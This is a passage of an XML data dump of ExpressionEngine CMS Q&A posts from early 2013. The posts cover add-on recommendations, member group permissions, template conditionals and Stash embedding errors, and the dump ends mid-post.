  <row Id="2334" PostTypeId="2" ParentId="2138" CreationDate="2013-01-05T01:12:42.647" Score="2" Body="&lt;p&gt;If Spam through your current comment forms is the issue then there is a great add-on to stop spam in EE called &lt;strong&gt;Snaptcha&lt;/strong&gt;. We were getting a lot of Spam on a site we had built and this STOPPED the spam immeadiately. I can't recomend it enough. Super simple to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/snaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;We have recently used Disqus on another site we just launched to enable people to comment using their social login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another great add-on is &lt;strong&gt;CX Disqus Comments&lt;/strong&gt; which enables two way comment sync and lets you export your existing EE comments to Disqus, and automatically sync new Discus comments back to the ExpressionEngine database for SEO and backup purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like it could be perfect for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cx-disqus-comments&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cx-disqus-comments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-01-05T01:12:42.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2335" PostTypeId="1" AcceptedAnswerId="2352" CreationDate="2013-01-05T03:06:30.533" Score="2" ViewCount="192" Body="&lt;p&gt;I've created a Member Group and want members in that group to be able to delete their own account. I've edited the Member Group Settings to set &lt;code&gt;Can delete own account - deletes all posts, entries, and comments as well&lt;/code&gt; to &quot;Yes&quot;, but didn't see anything in the Control Panel that would allow the member to delete his/her account. I then set &lt;code&gt;Can access MEMBERS section&lt;/code&gt; to &quot;Yes&quot;, but that gave the member access to ALL members, which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does a member delete his/her account? And what settings does the Member Group need to have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't want the Member to be able to edit their Member details. When a user clicks on their screen name (left of the &quot;logout&quot; link on the top right of CP), they are taken to a &quot;My Account&quot; page where the member can edit profile, avatar, etc. I want to prevent access to any of that. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-05T23:16:06.060" Title="Allow Member to delete account, but not edit?" Tags="|members|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2336" PostTypeId="1" AcceptedAnswerId="2338" CreationDate="2013-01-05T03:11:04.720" Score="3" ViewCount="229" Body="&lt;p&gt;I've created a Member Group and am trying to severely limit what members can access. All I want them to be able to do is to publish and edit certain Channels. So far, I have been able to implement that. However, I've noticed that the Control Panel has the following, too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Edit&quot; button: this is redundant as you can get to this UI by going to Content -&gt; Edit. I'd like to remove this&lt;/li&gt;&#xA;&lt;li&gt;&quot;Help&quot; button: this takes the member to the EE site. I want this removed as I will provide my own help documentation&lt;/li&gt;&#xA;&lt;li&gt;&quot;+ Add&quot;: I want this removed also; there is nothing for the member to do but to manage Channel entries for a few select Channels&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suggestions on how to do these?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-05T03:34:49.570" Title="Remove &quot;edit&quot;, &quot;help&quot;, &quot;+add&quot; in Control Panel" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2337" PostTypeId="2" ParentId="2307" CreationDate="2013-01-05T03:11:13.340" Score="0" Body="&lt;p&gt;Another option is to use &lt;code&gt;{exp:structure:nav include_ul=&quot;no&quot; start_from=&quot;forside&quot; max_depth=&quot;1&quot; add_unique_ids=&quot;yes&quot;}&lt;/code&gt;... note the added &lt;code&gt;add_unique_ids=&quot;yes&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With unique IDs added, you can use CSS to hide the home page link as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-05T03:11:13.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostTypeId="2" ParentId="2336" CreationDate="2013-01-05T03:34:49.570" Score="5" Body="&lt;p&gt;Quick and easy answer, get your self ZFA:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot;&gt;http://devot-ee.com/add-ons/zoo-flexible-admin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-zoo.com/add-ons/flexible-admin&quot;&gt;http://ee-zoo.com/add-ons/flexible-admin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: I think the add-on description along with images in the links I provided are self explanatory and why I'm pretty sure my quick and easy answer is sufficient in this particular case.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-05T03:34:49.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2339" PostTypeId="2" ParentId="2190" CreationDate="2013-01-05T04:46:27.870" Score="2" Body="&lt;p&gt;There's no way to do this from the control panel, and even the developer API doesn't have an easy way to recalculate/edit an order after it has been placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to approach this would be to write a custom module which provides an interface where your client can update the shipping cost of an order. When you save this back to the database, be sure to update the order tax &amp;amp; total as well if they have changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point it should be fairly easy for you to send an invoice link back to the customer where they can pay by credit card (or manually record payments if they are paying via bank transfer).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-05T04:46:27.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2340" PostTypeId="1" AcceptedAnswerId="2341" CreationDate="2013-01-05T05:53:39.943" Score="3" ViewCount="1020" Body="&lt;p&gt;Assume two channels: Channel A and Channel B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say that Channel A has a relationship field type that points to Channel B. When a Member is making an entry in Channel A, is there any way to limit the relationship field's options to display only the current Member's entries in Channel B?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I am seeing ALL of Channel B's entries regardless of which Member made the entry.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-01-05T05:59:28.243" LastActivityDate="2013-01-16T10:20:15.177" Title="How to filter relationship field options?" Tags="|channel-entries|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2341" PostTypeId="2" ParentId="2340" CreationDate="2013-01-05T12:00:50.173" Score="5" Body="&lt;p&gt;Not with the native relationship field but you can with &lt;a href=&quot;http://pixelandtonic.com/playa&quot;&gt;Playa&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-05T12:00:50.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostTypeId="2" ParentId="2270" CreationDate="2013-01-05T14:16:15.223" Score="2" Body="&lt;p&gt;Okay so this one is a bit strange but I got it to run in the end! I thought I would post my own answer in the hope that it may help others if they come across this issue themselves...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having rolled back to 2.1.3 a few times (that was fun!) and running through the update whilst watching the expected changes to the database I discovered the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The upgrade to 2.1.4 was running fine and updated the config to version 214&lt;/li&gt;&#xA;&lt;li&gt;The upgrade to 2.1.5 had in fact completed but for some reason was attempting to run again!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I compared the config file on my backup to the new one and the only major difference was that the version number variable was wrapped in &quot; in the new file and ' in the old. Now I am pretty sure that really shouldn't be an issue, however I changed the new file from &quot;215&quot; to '215' and saved it. I then re-ran the updater and it sailed through fine!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I had to re-sync the file uploads (a requirement of the 215 version notes) and the site is up to date and functioning again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to add a twist, when I checked the config file on my now 2.5.5 install the version is wrapped in double quotes again!? :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to those who added their help to this one though - nice to see the community support is still there and willing to help :-)&lt;/p&gt;&#xA;" OwnerUserId="609" LastActivityDate="2013-01-05T14:16:15.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2343" PostTypeId="1" AcceptedAnswerId="2344" CreationDate="2013-01-05T15:08:12.207" Score="2" ViewCount="73" Body="&lt;p&gt;Looking for a way to &quot;inject&quot; images into channel entries without having the content administrator trying to mess with html.  I found hop inject on devot-ee, and I'm wondering if anyone has used it or a similar plug-in, and what you thought of it.  If you've used something different that you feel is better, I'd definitely be open to any recommendations.  thank you!&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-06T00:11:26.263" Title="has anyone used the Hop Inject plug-in?" Tags="|add-on|channel-entries|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2344" PostTypeId="2" ParentId="2343" CreationDate="2013-01-05T15:36:57.747" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.hopstudios.com/software/hop_inject&quot; rel=&quot;nofollow&quot;&gt;Hop Inject&lt;/a&gt;, though I've never used, is geared more towards ads or ad like images (images unrelated to content). Do you just want images related to content? If so, than almost any of the &lt;a href=&quot;http://devot-ee.com/search/results?keywords=WYSIWYG&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;WYSIWYG field_types&lt;/a&gt; could be used and will allow images to be uploaded and inserted into copy/content without knowledge of HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say, &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;WYGWAM&lt;/a&gt; by Pixel &amp;amp; Tonic is probably the most popular. We've used that, &lt;a href=&quot;http://devot-ee.com/add-ons/expresso&quot; rel=&quot;nofollow&quot;&gt;Expresso&lt;/a&gt; by Put Your Lights On, and hope to use &lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; by DevDemon on an upcoming project. WYGWAM is our primary for most projects, but we like Expresso for smaller projects or when we need a more lightweight presence. Editor just seems interesting, we're hoping to test it and see if should be added to our toolbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're really looking for adding items after the fact to content, then I've heard good things about &lt;a href=&quot;http://devot-ee.com/add-ons/hop-inject&quot; rel=&quot;nofollow&quot;&gt;Hop Inject&lt;/a&gt;, and it can be used for pull quotes or things other than adds, but I've never used it. While, there are other ad related add-ons, I'm not certain they attack the same issue as Hop Inject, which makes it more flexible for the situation, where an image should be displayed every 4 paragraphs or a pull a quote every third paragraph.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="426" LastEditDate="2013-01-06T00:11:26.263" LastActivityDate="2013-01-06T00:11:26.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2346" PostTypeId="2" ParentId="2292" CreationDate="2013-01-05T16:00:58.367" Score="3" Body="&lt;p&gt;I agree with the name. I've run into that before. I have adapted a matrix naming convention of a small prefix from the matrix field then whatever I need : eg.  seg-images if the matrix field is segments. In your case, it looks like you have images as the matrix field itself. Try naming it something like mx-images.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-01-05T16:00:58.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2347" PostTypeId="1" CreationDate="2013-01-05T17:07:59.860" Score="2" ViewCount="63" Body="&lt;p&gt;I have a site that was just updated to EE 2.5.3 and since then it looks like any image I had in a file field that had spaces in the file name now appears to have + in place of the space.  THis has caused all the image sources to be broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: an image with the name file name.jpg that was uploaded  now appears to be file+name.jpg so the image is broken when viewed in the browser.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-05T18:08:57.133" Title="image file names adding +" Tags="|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2348" PostTypeId="2" ParentId="2307" CreationDate="2013-01-05T17:11:59.870" Score="0" Body="&lt;p&gt;If you never want the frontpage output in the menu, how about just hiding it from the navigation tag altogether (by setting &quot;Hide from nav&quot; to &quot;yes&quot; in the structure tab)?&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2013-01-05T17:11:59.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2349" PostTypeId="2" ParentId="2347" CreationDate="2013-01-05T18:08:57.133" Score="1" Body="&lt;p&gt;Looks like a bug in 2.5.3 that was fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18289&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18289&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-05T18:08:57.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2350" PostTypeId="1" AcceptedAnswerId="2351" CreationDate="2013-01-05T22:27:07.483" Score="5" ViewCount="948" Body="&lt;p&gt;I keep running into issues, and apparently I just don't understand the difference between these two variables.  One set of pages works with url_title_path, and the other set will only act right with url_title.  There must be some difference I'm missing, but I don't know what it is.  any help?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-05T22:39:47.783" Title="What's the difference between url_title and url_title_path?" Tags="|variable|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostTypeId="2" ParentId="2350" CreationDate="2013-01-05T22:39:47.783" Score="11" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#id140&quot;&gt;url_title_path&lt;/a&gt; requires a &lt;code&gt;template_group/tempate&lt;/code&gt; to be passed to it, so it can return a complete URL. It should be used when creating links. (It seems to be the same as &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#title-permalink&quot;&gt;title_permalink&lt;/a&gt;, which is what I always use myself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g., &lt;code&gt;{url_title_path=&quot;news/entry&quot;}&lt;/code&gt; returns &lt;code&gt;http://mysite.com/news/entry/hello-world&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;url_title&lt;/code&gt; is simply a variable which returns an entry's &lt;code&gt;url_title&lt;/code&gt;, e.g., &lt;code&gt;hello_world&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-05T22:39:47.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostTypeId="2" ParentId="2335" CreationDate="2013-01-05T23:01:43.767" Score="3" Body="&lt;p&gt;Question 1: Where should a member delete his or her account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is explained in the user guide: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Can delete own account - deletes all posts, entries, and comments as well&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Determines whether a member of the group can delete their own account.&#xA;&lt;strong&gt;If enabled, members of this group will be able to delete their own account through their front-end member control panel.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there it is: the setting can be used via the &lt;em&gt;front-end&lt;/em&gt; member control panel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Question 2:&#xA;How can I make sure a member cannot edit account details?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should take a look at the member templates: check the &quot;themes&quot; folder --&gt; &quot;profile themes&quot;. Use something like &lt;code&gt;{if member_group == &quot;4&quot;}&lt;/code&gt;  and show a message &quot;You're not authorised to see this page&quot; (or something like that) instead of the form.&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2013-01-05T23:16:06.060" LastActivityDate="2013-01-05T23:16:06.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2353" PostTypeId="1" CreationDate="2013-01-05T23:32:20.813" Score="2" ViewCount="127" Body="&lt;p&gt;I'm using Exp:resso Store for the first time, and I've just set-up my shipping method and its rules. &#xA;I've created a standard shipping method that includes different countries - this was fairly easy. &#xA;The problem is that I cannot find a way to add 1,00 GBP only to additional items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating different rules:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if min. Order qty and max. Order qty is 1 then there's no additional&#xA;rate &lt;/li&gt;&#xA;&lt;li&gt;if min. Order qty is 2 then add the additional rate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but in this way if there's more than 1 item then Store adds 1,00 GBP to all items, while I need it to be added to all items &lt;em&gt;except&lt;/em&gt; the first one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't understand if this can be achieved by playing with shipping rules or if I need some custom plug-in. &#xA;As I said I've never used Store before, every suggestion would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I might add that I have a base rate of 2.50 £:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Base shipping rate for UK: 2.50 £ &lt;/li&gt;&#xA;&lt;li&gt;Shipping rate for additional items (except 1st): 1,00 £ &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This means that if the customer buys one item total shipping cost would be only 2,50 £ for the shipping.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer buys 2 items, then total shipping cost would be 2,50 + 1,00 = 3,50 £ for the shipping.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 3 items the total shipping cost would be 4,50£ (that is 2,50 + 1,00 + 1,00). And so on.&lt;/p&gt;&#xA;" OwnerUserId="710" LastEditorUserId="710" LastEditDate="2013-01-10T21:12:51.687" LastActivityDate="2013-01-10T21:22:38.840" Title="Exp:resso Store - price for additional items" Tags="|add-on|ee2|expresso-store|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostTypeId="1" AcceptedAnswerId="2356" CreationDate="2013-01-05T23:33:20.537" Score="2" ViewCount="425" Body="&lt;p&gt;I have an image that is an optional channel field, and I've got it hard coded into the template.  If someone doesn't attach an image, there is an empty image box on the page for that entry.  How can I tell EE to check for an image, and if its not there, just load the rest of the page normally?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-06T02:53:23.997" Title="how can I conditionally display image if one is attached to channel entry" Tags="|channel-entries|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostTypeId="1" AcceptedAnswerId="2358" CreationDate="2013-01-05T23:52:15.463" Score="3" ViewCount="72" Body="&lt;p&gt;I have small modules in the sidebar on various pages throughout my site.  I'm including different quotes for different pages in the sidebar modules.  Originally I hard coded them into the template, but I started thinking that I may want them to be editable by whoever will be administering the content on the site.  I don't want to use snippets because you can't give someone access to snippets without also giving them access to the templates, and I'd like to not do that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using a channel entries tag pair to display that content, and just have a &quot;quotes&quot; channel.  Is that the best way to do that as far as speed goes?  How heavy are those tag pairs if I disable all the unneeded properties?  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-06T00:20:30.310" Title="Should I use a channel entry tag pair for quotes?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2356" PostTypeId="2" ParentId="2354" CreationDate="2013-01-05T23:54:29.007" Score="9" Body="&lt;p&gt;I think this should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I use three custom fields: &lt;code&gt;article_image&lt;/code&gt;, &lt;code&gt;image_description&lt;/code&gt; and &lt;code&gt;class&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_image != &quot;&quot;}&#xA;   &amp;lt;img src=&quot;{article_image}&quot; alt=&quot;{image_description}&quot; title=&quot;{image_description}&quot; class=&quot;{class}&quot; /&amp;gt;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use the shorthand version of the above code like so &quot;{if custom_field}content here{/if}&quot;. This shortens up the code a bit.&lt;/p&gt;&#xA;" OwnerUserId="714" LastEditorUserId="243" LastEditDate="2013-01-06T02:53:23.997" LastActivityDate="2013-01-06T02:53:23.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2357" PostTypeId="2" ParentId="2355" CreationDate="2013-01-06T00:19:24.363" Score="3" Body="&lt;p&gt;that's probably your best option to be honest. Low Variables would be another option but you're then limited in what can be added. With a dedicated quotes channel you could have as many as was required.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-06T00:19:24.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2358" PostTypeId="2" ParentId="2355" CreationDate="2013-01-06T00:20:30.310" Score="8" Body="&lt;p&gt;Yes, a quotes channel is a great idea. We have done something similar to that in countless websites. Sometimes this channel is called &quot;testimonials&quot; or &quot;quotes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also has the advantage that you can have a separate custom field for the quote's author, and display this in a consistent format on your site, without relying on your client to format it correctly, or updating many quotes in a snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, I'm a fan of not worrying about performance issues until they are actually an issue (i.e. you are getting thousands of visits per day). In that case, any caching plugin (or even the built in EE caching parameters) will be plenty (e.g. you can display a random quote, and cache it for 5-60 minutes).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-06T00:20:30.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostTypeId="2" ParentId="2150" CreationDate="2013-01-06T00:45:14.683" Score="3" Body="&lt;p&gt;I have recently found that Chrome does not display the debugging information if the developer tools are being used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have any idea why this happens, but whenever I am logged in and not seeing the debugging info, it is because the developer tools are open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Chrome v23.0.1271.101, and EE 2.5.3&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-01-06T00:45:14.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostTypeId="2" ParentId="2327" CreationDate="2013-01-06T01:00:51.543" Score="4" Body="&lt;p&gt;Brooks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image may exist at the url, but, the base path may be the issue if it's not pointing to the public folder. The debug gives the base path as,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/apache/htdocs/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then you have the route to the image as, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/images/uploads/adidas-apparel1.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means that the image needs to be in,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/apache/htdocs/images/uploads/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without knowing the server set up I am guessing, but I would expect to see a public or public_html directory somewhere in the mix, which may be the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your permissions and the (full) path above is correct, then there is another issue that cannot be determined with the details we have here.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-01-06T01:00:51.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostTypeId="1" AcceptedAnswerId="2365" CreationDate="2013-01-06T02:10:40.773" Score="8" ViewCount="4398" Body="&lt;p&gt;I forgot to save my password and am unable to get MAMP Pro's postfix working so I can't resend the password to myself from my local machine, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the MySQL function used to generate the encrypted string in the exp_members password column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it either MD5 or SHA1 or a combination of something else all together?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-01-06T03:29:55.387" LastActivityDate="2020-04-22T19:59:25.103" Title="What is the MySQL function for exp_members password column?" Tags="|ee2|mysql|password|super-admin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostTypeId="2" ParentId="2361" CreationDate="2013-01-06T03:04:15.403" Score="1" Body="&lt;p&gt;Why not just use the password reset / forgot password function. It's generally accessible at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://{domain}/{member_trigger}/forgot_password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{domain}&lt;/code&gt; is your domain name, and &lt;code&gt;{member_trigger}&lt;/code&gt; is whatever term you set to trigger member registration and login. Default is 'member' but I believe you're encourage to set it to something else.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-06T03:04:15.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2363" PostTypeId="1" AcceptedAnswerId="7714" CreationDate="2013-01-06T03:29:50.250" Score="3" ViewCount="554" Body="&lt;p&gt;My Stash template has the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{member_images:total_rows}&quot; == 0}&#xA;    {!-- No images uploaded. Display placeholder as avatar. --}&#xA;    &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;http://placehold.it/133x100/&quot; alt=&quot;No image uploaded&quot;/&amp;gt;&#xA;{/if}&#xA;{if &quot;{member_images:total_rows}&quot; == 1}&#xA;    {!-- Only one image uploaded. Display that image as avatar. --}&#xA;    {member_images}&#xA;        &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;    {/member_images}&#xA;{/if}&#xA;{if &quot;{member_images:total_rows}&quot; &amp;gt; 1}&#xA;    {if &quot;{member_images:total_rows search:default=&quot;y&quot;}&quot; == 0}&#xA;        {!-- Multiple images upload, but none defined as default. Display first image as avatar. --}&#xA;        {member_images limit=&quot;1&quot;}&#xA;            &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;        {/member_images}                            &#xA;    {/if}                           &#xA;    {if &quot;{member_images:total_rows search:default=&quot;y&quot;}&quot; == 1}&#xA;        {!-- Multiple images upload, and one defined as default. Display that image as avatar. --}                              &#xA;        {member_images search:default=&quot;y&quot;}&#xA;            &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;        {/member_images}                            &#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. However, since I need this in different parts of my site, I figured I'd pull it out into its own stash template and just try to embed it where ever it's needed, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;common:.avatar&quot; process=&quot;start&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is when I do this, nothing is outputted. When I enabled template debugging, I see the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /home/devserver/public_html/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no problems embedding other stash templates. Any ideas what might be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The culprit seems to be the nested if block, particularly the if-conditions (e.g. &lt;code&gt;{if &quot;{member_images:total_rows search:default=&quot;y&quot;}&quot; == 0}&lt;/code&gt;. The if-condition contains a tag that must first be parsed? I'm guessing this might have something to do with parsing order, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently using this code now. Incorporated &lt;code&gt;elseif&lt;/code&gt;, single quote wraps tag when tag has double quote, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{member_images:total_rows}&quot; == 0}&#xA;    {!-- No images uploaded. Display placeholder as avatar. --}&#xA;    &amp;lt;img class=&quot;img-polaroid&quot; 